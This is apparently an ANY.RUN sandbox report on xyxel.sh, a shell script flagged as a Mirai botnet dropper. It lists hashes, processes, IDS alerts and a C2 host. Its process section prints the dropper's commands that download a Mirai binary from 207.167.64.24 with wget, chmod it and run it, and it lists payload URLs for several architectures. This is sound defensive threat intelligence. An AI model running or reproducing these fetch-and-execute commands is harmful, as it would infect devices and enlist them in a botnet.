File name:

xyxel.sh

Full analysis: https://app.any.run/tasks/ce13cf50-91aa-472b-81c9-cb12301401bf
Verdict: Malicious activity
Threats:

A botnet is a group of internet-connected devices that are controlled by a single individual or group, often without the knowledge or consent of the device owners. These devices can be used to launch a variety of malicious attacks, such as distributed denial-of-service (DDoS) attacks, spam campaigns, and data theft. Botnet malware is the software that is used to infect devices and turn them into part of a botnet.

Malware Trends Tracker     >>>
Analysis date: June 30, 2025, 14:40:18
OS: Ubuntu 22.04.2
Tags:
mirai
botnet
Indicators:
MIME: text/x-shellscript
File info: Bourne-Again shell script, ASCII text executable
MD5:

222DD4FD41F8AB671B60201143F17C7F

SHA1:

403E8A5C9E8F3A68F03B91B8A3F951FF06961D2B

SHA256:

7F783549F7A0E724B5F0D6042A5B24087E0B1DE03F575A4406CF30311964ACE3

SSDEEP:

24:vXsvmvsRnsrsja9aUis2NQfBsxNoxKeJqTU3NNIt3oeks5Kb86pJoiCekB:vcvmvisgja9aUis8bmqTUwJ5u86PeekB

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    No malicious indicators.

  • SUSPICIOUS

    • Starts itself from another location

      • mirai.i486 (PID: 41400)
      • mirai.i686 (PID: 41410)
      • mirai.x86 (PID: 41405)
      • mirai.x64 (PID: 41415)

    • Modifies file or directory owner

      • sudo (PID: 41392)

    • Executes commands using command-line interpreter

      • sudo (PID: 41395)
      • bash (PID: 41396)

    • Executes the "rm" command to delete files or directories

      • bash (PID: 41396)

    • Uses wget to download content

      • bash (PID: 41396)

  • INFO

    No info indicators.
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.sh | Linux/UNIX shell script (100)
No data.
screenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
207
Monitored processes
75
Malicious processes
1
Suspicious processes
1

Behavior graph

Click at the process to see the details
dash no specs sudo no specs chown no specs chmod no specs sudo no specs bash no specs locale-check no specs wget no specs chmod no specs mirai.i486 no specs rm no specs wget no specs mirai.i486 (deleted) no specs chmod no specs mirai.x86 no specs mirai.x86 (deleted) no specs rm no specs wget no specs chmod no specs mirai.i686 no specs mirai.i686 (deleted) no specs rm no specs wget no specs chmod no specs mirai.x64 no specs mirai.x64 (deleted) no specs rm no specs wget no specs chmod no specs bash no specs rm no specs wget no specs chmod no specs bash no specs rm no specs wget no specs chmod no specs bash no specs rm no specs wget no specs chmod no specs bash no specs rm no specs wget no specs chmod no specs bash no specs rm no specs wget no specs chmod no specs bash no specs rm no specs wget no specs chmod no specs bash no specs rm no specs wget no specs chmod no specs bash no specs rm no specs wget no specs chmod no specs bash no specs rm no specs wget no specs chmod no specs bash no specs rm no specs wget no specs chmod no specs bash no specs rm no specs wget no specs chmod no specs bash no specs rm no specs

Process information

PID
CMD
Path
Indicators
Parent process
41391/bin/sh -c "sudo chown user /tmp/xyxel\.sh && chmod +x /tmp/xyxel\.sh && DISPLAY=:0 sudo -iu user /tmp/xyxel\.sh "/usr/bin/dash—UbvyYXL4x2mYa65Q
User:
root
Integrity Level:
UNKNOWN
Exit code:
0
41392sudo chown user /tmp/xyxel.sh/usr/bin/sudo—dash
User:
root
Integrity Level:
UNKNOWN
Exit code:
0
41393chown user /tmp/xyxel.sh/usr/bin/chown—sudo
User:
root
Integrity Level:
UNKNOWN
Exit code:
0
41394chmod +x /tmp/xyxel.sh/usr/bin/chmod—dash
User:
root
Integrity Level:
UNKNOWN
Exit code:
0
41395sudo -iu user /tmp/xyxel.sh/usr/bin/sudo—dash
User:
root
Integrity Level:
UNKNOWN
Exit code:
0
41396/bin/bash /tmp/xyxel.sh/usr/bin/bash—sudo
User:
user
Integrity Level:
UNKNOWN
Exit code:
0
41397/usr/bin/locale-check C.UTF-8/usr/bin/locale-check—bash
User:
user
Integrity Level:
UNKNOWN
Exit code:
0
41398wget http://207.167.64.24/mirai.i486/usr/bin/wget—bash
User:
user
Integrity Level:
UNKNOWN
Exit code:
0
41399chmod 777 mirai.i486/usr/bin/chmod—bash
User:
user
Integrity Level:
UNKNOWN
Exit code:
0
41400./mirai.i486 xyxel/tmp/mirai.i486—bash
User:
user
Integrity Level:
UNKNOWN
Exit code:
0
Executable files
0
Suspicious files
0
Text files
0
Unknown types
0

Dropped files

No data
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
17
TCP/UDP connections
46
DNS requests
106
Threats
31

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
—
—
GET
204
185.125.190.48:80
http://connectivity-check.ubuntu.com/
GB
—
—
whitelisted
—
—
GET
200
207.167.64.24:80
http://207.167.64.24/mirai.mips
US
binary
78.4 Kb
malicious
—
—
GET
200
207.167.64.24:80
http://207.167.64.24/mirai.i486
US
binary
61.0 Kb
malicious
—
—
GET
200
207.167.64.24:80
http://207.167.64.24/mirai.x86
US
binary
56.5 Kb
malicious
—
—
GET
200
207.167.64.24:80
http://207.167.64.24/mirai.i686
US
binary
61.7 Kb
malicious
—
—
GET
200
207.167.64.24:80
http://207.167.64.24/mirai.x64
US
binary
61.0 Kb
malicious
—
—
GET
200
207.167.64.24:80
http://207.167.64.24/mirai.mpsl
US
binary
81.9 Kb
malicious
—
—
GET
200
207.167.64.24:80
http://207.167.64.24/mirai.arm
US
binary
60.8 Kb
malicious
—
—
GET
200
207.167.64.24:80
http://207.167.64.24/mirai.arm5n
US
binary
53.8 Kb
malicious
—
—
GET
200
207.167.64.24:80
http://207.167.64.24/mirai.arm6
US
binary
72.7 Kb
malicious
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
—
—
224.0.0.251:5353
—
—
—
unknown
—
—
185.125.190.48:80
connectivity-check.ubuntu.com
Canonical Group Limited
GB
whitelisted
—
—
169.150.255.180:443
odrs.gnome.org
—
GB
whitelisted
—
—
185.125.188.59:443
api.snapcraft.io
Canonical Group Limited
GB
whitelisted
—
—
185.125.188.58:443
api.snapcraft.io
Canonical Group Limited
GB
whitelisted
—
—
185.125.188.57:443
api.snapcraft.io
Canonical Group Limited
GB
whitelisted
—
—
207.167.64.24:80
c2.atomdata.xyz
DEDIOUTLET-NETWORKS
US
malicious
—
—
65.222.202.53:80
—
UUNET
US
unknown
—
—
207.167.64.24:23
c2.atomdata.xyz
DEDIOUTLET-NETWORKS
US
malicious

DNS requests

Domain
IP
Reputation
connectivity-check.ubuntu.com
  • 2620:2d:4000:1::2b
  • 2001:67c:1562::23
  • 2620:2d:4000:1::23
  • 2001:67c:1562::24
  • 2620:2d:4002:1::197
  • 2620:2d:4000:1::22
  • 2620:2d:4000:1::96
  • 2620:2d:4000:1::97
  • 2620:2d:4000:1::98
  • 2620:2d:4002:1::198
  • 2620:2d:4000:1::2a
  • 2620:2d:4002:1::196
  • 185.125.190.48
  • 91.189.91.96
  • 91.189.91.48
  • 91.189.91.97
  • 185.125.190.97
  • 91.189.91.98
  • 185.125.190.18
  • 185.125.190.98
  • 185.125.190.49
  • 91.189.91.49
  • 185.125.190.96
  • 185.125.190.17
whitelisted
google.com
  • 216.58.206.78
  • 2a00:1450:4001:829::200e
whitelisted
odrs.gnome.org
  • 169.150.255.180
  • 212.102.56.178
  • 37.19.194.80
  • 169.150.255.183
  • 207.211.211.27
  • 195.181.175.41
  • 195.181.170.19
  • 2a02:6ea0:c700::18
  • 2a02:6ea0:c700::19
  • 2a02:6ea0:c700::11
  • 2a02:6ea0:c700::112
  • 2a02:6ea0:c700::107
  • 2a02:6ea0:c700::21
  • 2a02:6ea0:c700::101
whitelisted
api.snapcraft.io
  • 185.125.188.59
  • 185.125.188.58
  • 185.125.188.57
  • 185.125.188.54
  • 2620:2d:4000:1010::42
  • 2620:2d:4000:1010::2e6
  • 2620:2d:4000:1010::117
  • 2620:2d:4000:1010::344
whitelisted
c2.atomdata.xyz
  • 207.167.64.24
unknown
13.100.168.192.in-addr.arpa
  • —
unknown

Threats

PID
Process
Class
Message
—
—
Potential Corporate Privacy Violation
ET INFO Executable and linking format (ELF) file download Over HTTP
—
—
Potentially Bad Traffic
ET HUNTING Suspicious GET Request for .x86
—
—
Potentially Bad Traffic
ET INFO x86 File Download Request from IP Address
—
—
Potential Corporate Privacy Violation
ET INFO Executable and linking format (ELF) file download Over HTTP
—
—
Potential Corporate Privacy Violation
ET INFO Executable and linking format (ELF) file download Over HTTP
—
—
Potentially Bad Traffic
ET HUNTING Suspicious GET Request for .i686 File
—
—
Potentially Bad Traffic
ET HUNTING Suspicious GET Request for .x64
—
—
Potential Corporate Privacy Violation
ET INFO Executable and linking format (ELF) file download Over HTTP
—
—
A Network Trojan was detected
AV INFO Possible Mirai .mips Executable Download
—
—
Potentially Bad Traffic
ET INFO MIPS File Download Request from IP Address
No debug info
Interactive malware hunting service ANY.RUN
© 2017-2026 ANY.RUN ALL RIGHTS RESERVED
ANY.RUN
Reports
xyxel.sh